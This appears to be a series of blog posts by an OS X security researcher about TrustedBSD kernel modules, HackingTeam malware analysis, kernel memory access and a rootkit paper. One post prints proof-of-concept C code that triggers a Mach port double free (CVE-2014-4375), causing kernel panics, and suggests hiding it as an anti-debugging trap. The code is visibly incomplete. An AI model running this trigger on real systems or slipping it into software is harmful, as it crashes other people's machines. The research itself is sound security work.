Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.
The idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMWare Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them. For the first part you don’t really need this module because the audit features available in OS X can give you this information. I’m more interested in having decision power over what is executed. Or it’s just another nice example of how TrustedBSD is so interesting and powerful and why it’s annoying that Apple is closing KPI access to it (latest SDK warnings say it was never meant to be a KPI).
There are two parts to this. The first is the kernel driver that detects execution, controls access, and notifies userland. The second is a small userland application that receives the kernel notifications, asks the user for a decision, and sends back the answer to the kernel.
The execution is blocked until a decision is made or a timeout is reached (default is 5 seconds, you probably want to increase this value).
To avoid any deadlocks all binaries before userland application is connected are authorized. When the userland finally connects it receives a list (displayed as user notifications) of all the suid binaries that executed during the boot process (from my tests this is zero in Mavericks).
Because of the changing nature of TrustedBSD started in Mavericks, this code only works with Mavericks as it is. If you want to make it work in Mountain Lion or Yosemite, you need to change the hook prototype and compile it with the correspondent SDK.
The userland application needs some work due to my crap Cocoa skills :-). The kernel extension has a few points that need a decision (what to do in error cases mostly), authentication of the userland process (it’s not hard to do), and probably more process information.
A friendly tip: The kernel control interface is used for userland/kernel communication. Because the volume of data exchanged is very low it’s ok for this. If you are thinking about using this interface for high volumes forget about it. It has some weird bug where it starts losing data and not able to keep throughtput (error 55 is what you start to experience).
Source available at Github, https://github.com/gdbinit/can_I_suid.
The iOS 8 security update bulletin has many fixed bugs, one of which is this one “A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-2014-4375 : an anonymous researcher”.
Well, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird cpu spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.
The following sample code will trigger it:
static mach_port_t service; /* our own service port */
int main(int argc, const char * argv)
kern_return_t kr = 0;
/* create the negotiation server service port */
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service);
if (kr != KERN_SUCCESS)
printf("Failed to allocate port: %s\n", mach_error_string(kr));
/* host_set_special_port requires a send right */
kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS)
printf("Failed to mach_port_insert_right: %s\n", mach_error_string(kr));
/* get host port so we can do the host_set_special_port */
if ((host_port = mach_host_self()) == MACH_PORT_NULL)
printf ("mach_host_self() returned MACH_PORT_NULL\n");
kr = host_set_special_port (host_port, // invalid port being passed
if (kr != KERN_SUCCESS)
printf ("Can't check in with server\n");
/* we should crash here */
Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.
This bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion. The Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).
The impact attributed by Apple to this one: “Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel”. Take your own conclusions ;-).
Shakacon number 6 is over, it was a blast and I must confess it beat my expectations. Congratulations to everyone involved in making it possible. Definitely recommended if you want to speak or attend, and totally worth the massive jet lag ;-).
My presentation was about reverse engineering HackingTeam’s OS X malware latest known sample. The slide count is 206 and I was obviously not able to present everything. The goal is that you have a nice reference available for this malware and also MPRESS unpacking (technically dumping).
This sample in particular was thought to be a newer version of this malware but I try to show you that I don’t think it’s the case and instead, it’s the oldest version of HackingTeam’s OS X malware. If this theory is true, it means we have a two years knowledge gap about the OS X version. Interesting challenge ahead!
The tool I promised to release will have to wait a couple more days since I need to fix its code to implement the fixes I suggest regarding the file and memory sizes differences. Keep watching this space, github or Twitter.
Update: MPRESS dumper source code now available at Github.
Links to slides (34.3Mb):
ShakaCon6-FuckYouHackingTeam.pdf (Dropbox mirror)
At BlackHat Asia 2014, Ming-chieh Pan and Sung-ting Tsai presented about Mac OS X Rootkits (paper and slides). They describe some very cool techniques to access kernel memory in different ways than the usual ones. The slides and paper aren’t very descriptive about all the techniques so this weekend I decided to give it a try and replicate the described vulnerability to access kernel memory.
The access to kernel task (process 0) was possible before Leopard (or was it fixed in Snow Leopard? too lazy to check it now!), by using the function task_for_pid(0). This would retrieve the task port for the kernel and then we could use the mach_vm_read/write functions to fool around with kernel memory. It was pretty cool but a giant hole, even if it required root access to be used. The task_for_pid() function now has the following code to deny access to the kernel task (from 10.9.0 XNU source code):
Enjoy it at Phrack!
It’s finally out. It feels a bit old and it is indeed a bit old but still a good paper (or at least I tried to make it that way). The supplied code is for an older version of that rootkit. For example it still has dependencies on importing task, proc and other kernel private structures. The updated version solves all required offsets so it supports easily new and old OS X versions. It will come out with the book together with other features that were added, and new ones I am poking around.
The book? Life has been chaotic, doesn’t help my brain is like electricity, always attraced by the least resistance path and by new things. I got new motivation and hopefully a team soon enough so I can dedicate myself to write it.
I can tell you that nemo wrote a treaty on DTrace ;-). A bit more patience on this, I think it will be worth the wait.
Meanwhile, enjoy that long article, hopefully it is interesting enough :-).
After surviving the five shots at SyScan’s WhiskeyCon I am finally back home and you get a chance to see the slides and code for the TrustedBSD module I presented.
The goal of REX vs The Romans is to work as detection and prevention tool of Hacking Team’s OS X malware. The TrustedBSD hook allows to detect if the system is already infected, and the Kauth listener to warn about any future infection.
The code has a strong assumption, which is that the malware binaries are installed into /Users/username/Library/Preferences. This has been true for all past known samples found in the wild. I do have better work than this but it is embedded in a commercial product so I can’t disclose its code.
The kernel extension will generate a user alert when something wrong is detected, either on installation or already infected system. A message starting with [WARNING] will also be printed to the system log. The following screenshot demonstrates the execution and infection from the dropper in a Lion 10.7.5 system.
You are encouraged to improve this code. Unfortunately I can’t do much more because of the commercial product conflict. If you do so please tell me about it, I might be able to help with some hints and/or fixes.
I am going to try to get a personal kernel extension certificate so I can distribute a ready to use binary version of this extension. That would be the most helpful case for the common users out there. Let’s see if Apple allows me to do so.
The slides are available here. The code is available at Github.
If you have any issues or questions feel free to mail me or post a comment.
SyScan 2014 was awesome, thanks to everyone who attended and made it possible.
P.S.: The MPRESS dumper will hopefully be released when I do the full presentation on Hacking Team’s OS X malware this year.